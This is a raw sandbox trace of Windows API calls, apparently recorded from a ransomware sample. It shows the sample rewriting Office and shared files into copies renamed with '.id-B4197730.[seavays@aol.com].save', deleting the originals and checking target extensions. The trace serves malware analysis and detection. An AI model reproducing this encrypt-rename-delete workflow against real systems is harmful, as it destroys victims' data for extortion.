lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0202.402] SetEndOfFile (hFile=0x45c) returned 1 [0202.402] CloseHandle (hObject=0x45c) returned 1 [0202.402] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.402] SetEndOfFile (hFile=0x3fc) returned 1 [0202.406] CloseHandle (hObject=0x3fc) returned 1 [0202.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf")) returned 1 [0202.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0202.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0202.408] lstrlenW (lpString=".doc") returned 4 [0202.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.408] lstrlenW (lpString=".docx") returned 5 [0202.408] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.408] lstrlenW (lpString=".pdf") returned 4 [0202.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.408] lstrlenW (lpString=".xls") returned 4 [0202.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.408] lstrlenW (lpString=".xlsx") returned 5 [0202.408] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.408] lstrlenW (lpString=".ppt") returned 4 [0202.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0202.408] lstrlenW (lpString=".zip") returned 4 [0202.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.408] lstrlenW (lpString=".rar") returned 4 [0202.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.408] lstrlenW (lpString=".bz2") returned 4 [0202.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.408] lstrlenW (lpString=".7z") returned 3 [0202.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0202.408] lstrlenW (lpString=".dbf") returned 4 [0202.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0202.409] lstrlenW (lpString=".1cd") returned 4 [0202.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0202.409] lstrlenW (lpString=".jpg") returned 4 [0202.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.410] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.410] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0202.411] GetLastError () returned 0x0 [0202.411] ReadFile (in: hFile=0x3fc, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x7cb6, lpOverlapped=0x0) returned 1 [0202.414] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x7cc0, lpOverlapped=0x0) returned 1 [0202.416] ReadFile (in: hFile=0x3fc, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0202.416] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0202.416] SetEndOfFile (hFile=0x45c) returned 1 [0202.416] CloseHandle (hObject=0x45c) returned 1 [0202.416] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.417] SetEndOfFile (hFile=0x3fc) returned 1 [0202.426] CloseHandle (hObject=0x3fc) returned 1 [0202.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf")) returned 1 [0202.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0202.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0202.428] lstrlenW (lpString=".doc") returned 4 [0202.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.428] lstrlenW (lpString=".docx") returned 5 [0202.428] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0202.428] lstrlenW (lpString=".pdf") returned 4 [0202.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.428] lstrlenW (lpString=".xls") returned 4 [0202.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.428] lstrlenW (lpString=".xlsx") returned 5 [0202.428] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0202.428] lstrlenW (lpString=".ppt") returned 4 [0202.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0202.428] lstrlenW (lpString=".zip") returned 4 [0202.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.428] lstrlenW (lpString=".rar") returned 4 [0202.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.429] lstrlenW (lpString=".bz2") returned 4 [0202.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.429] lstrlenW (lpString=".7z") returned 3 [0202.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0202.429] lstrlenW (lpString=".dbf") returned 4 [0202.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0202.429] lstrlenW (lpString=".1cd") returned 4 [0202.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0202.429] lstrlenW (lpString=".jpg") returned 4 [0202.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.856] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.856] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4 [0202.870] GetLastError () returned 0x0 [0202.870] ReadFile (in: hFile=0x300, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xaefa, lpOverlapped=0x0) returned 1 [0202.873] WriteFile (in: hFile=0x2a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xaf00, lpOverlapped=0x0) returned 1 [0202.876] ReadFile (in: hFile=0x300, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0202.876] WriteFile (in: hFile=0x2a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0202.876] SetEndOfFile (hFile=0x2a4) returned 1 [0202.876] CloseHandle (hObject=0x2a4) returned 1 [0202.876] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.876] SetEndOfFile (hFile=0x300) returned 1 [0202.880] CloseHandle (hObject=0x300) returned 1 [0202.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf")) returned 1 [0202.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0202.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0202.882] lstrlenW (lpString=".doc") returned 4 [0202.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.883] lstrlenW (lpString=".docx") returned 5 [0202.883] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0202.883] lstrlenW (lpString=".pdf") returned 4 [0202.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.883] lstrlenW (lpString=".xls") returned 4 [0202.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.883] lstrlenW (lpString=".xlsx") returned 5 [0202.884] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0202.884] lstrlenW (lpString=".ppt") returned 4 [0202.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0202.884] lstrlenW (lpString=".zip") returned 4 [0202.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.884] lstrlenW (lpString=".rar") returned 4 [0202.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.884] lstrlenW (lpString=".bz2") returned 4 [0202.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.884] lstrlenW (lpString=".7z") returned 3 [0202.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0202.884] lstrlenW (lpString=".dbf") returned 4 [0202.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0202.884] lstrlenW (lpString=".1cd") returned 4 [0202.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0202.884] lstrlenW (lpString=".jpg") returned 4 [0202.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.886] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.886] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4 [0202.888] GetLastError () returned 0x0 [0202.888] ReadFile (in: hFile=0x300, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2d6c, lpOverlapped=0x0) returned 1 [0203.106] WriteFile (in: hFile=0x2a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2d70, lpOverlapped=0x0) returned 1 [0203.108] ReadFile (in: hFile=0x300, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0203.108] WriteFile (in: hFile=0x2a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0203.108] SetEndOfFile (hFile=0x2a4) returned 1 [0203.108] CloseHandle (hObject=0x2a4) returned 1 [0203.109] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0203.109] SetEndOfFile (hFile=0x300) returned 1 [0203.112] CloseHandle (hObject=0x300) returned 1 [0203.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf")) returned 1 [0204.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0204.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0204.303] lstrlenW (lpString=".doc") returned 4 [0204.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString=".docx") returned 5 [0204.304] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0204.304] lstrlenW (lpString=".pdf") returned 4 [0204.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString=".xls") returned 4 [0204.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.304] lstrlenW (lpString=".xlsx") returned 5 [0204.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0204.304] lstrlenW (lpString=".ppt") returned 4 [0204.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0204.304] lstrlenW (lpString=".zip") returned 4 [0204.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.304] lstrlenW (lpString=".rar") returned 4 [0204.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString=".bz2") returned 4 [0204.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString=".7z") returned 3 [0204.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0204.304] lstrlenW (lpString=".dbf") returned 4 [0204.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0204.304] lstrlenW (lpString=".1cd") returned 4 [0204.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0204.304] lstrlenW (lpString=".jpg") returned 4 [0204.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.311] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2ef8, Size=0x20) returned 0x459f8a8 [0204.311] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2d78 [0204.312] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d78, Size=0x20) returned 0x459f808 [0204.312] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.312] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.312] Wow64DisableWow64FsRedirection (in: OldValue=0x2aeff50 | out: OldValue=0x2aeff50*=0x1) returned 1 [0204.312] lstrlenW (lpString="kernel32.dll") returned 12 [0204.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f808 | out: hHeap=0x710000) returned 1 [0204.312] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f8a8 | out: hHeap=0x710000) returned 1 Thread: id = 41 os_tid = 0xe18 [0157.776] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x764978 [0157.776] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x776990 [0157.777] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bcc8 [0157.777] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac408 [0157.777] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bcb0 [0157.777] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3537020 [0157.780] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bc50 [0157.780] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bc50, Size=0x20) returned 0x74d6d0 [0157.780] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd28 [0157.780] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bd28, Size=0x20) returned 0x74dc98 [0157.781] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.781] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.781] Wow64DisableWow64FsRedirection (in: OldValue=0x2c2ff50 | out: OldValue=0x2c2ff50*=0x0) returned 1 [0157.781] lstrlenW (lpString="kernel32.dll") returned 12 [0157.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d6d0 | out: hHeap=0x710000) returned 1 [0157.781] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dc98 | out: hHeap=0x710000) returned 1 [0157.781] Sleep (dwMilliseconds=0x64) [0158.338] Sleep (dwMilliseconds=0x64) [0158.876] Sleep (dwMilliseconds=0x64) [0159.169] Sleep (dwMilliseconds=0x64) [0159.647] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.647] lstrlenW (lpString="auxbase.xml") returned 11 [0159.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.649] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1434) returned 1 [0159.649] CloseHandle (hObject=0x390) returned 1 [0159.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0159.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.652] lstrlenW (lpString=".doc") returned 4 [0159.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.652] lstrlenW (lpString=".docx") returned 5 [0159.652] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0159.652] lstrlenW (lpString=".pdf") returned 4 [0159.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.652] lstrlenW (lpString=".xls") returned 4 [0159.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.652] lstrlenW (lpString=".xlsx") returned 5 [0159.652] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0159.652] lstrlenW (lpString=".ppt") returned 4 [0159.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.652] lstrlenW (lpString=".zip") returned 4 [0159.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.652] lstrlenW (lpString=".rar") returned 4 [0159.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.652] lstrlenW (lpString=".bz2") returned 4 [0159.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.652] lstrlenW (lpString=".7z") returned 3 [0159.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.653] lstrlenW (lpString=".dbf") returned 4 [0159.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.653] lstrlenW (lpString=".1cd") returned 4 [0159.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.653] lstrlenW (lpString=".jpg") returned 4 [0159.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.653] lstrlenW (lpString=".doc") returned 4 [0159.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString=".docx") returned 5 [0159.653] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0159.653] lstrlenW (lpString=".pdf") returned 4 [0159.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString=".xls") returned 4 [0159.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString=".xlsx") returned 5 [0159.653] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0159.653] lstrlenW (lpString=".ppt") returned 4 [0159.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.653] lstrlenW (lpString=".zip") returned 4 [0159.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.654] lstrlenW (lpString=".rar") returned 4 [0159.654] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.654] lstrlenW (lpString=".bz2") returned 4 [0159.654] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.654] lstrlenW (lpString=".7z") returned 3 [0159.654] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.654] lstrlenW (lpString=".dbf") returned 4 [0159.654] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0159.654] lstrlenW (lpString=".1cd") returned 4 [0159.654] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") 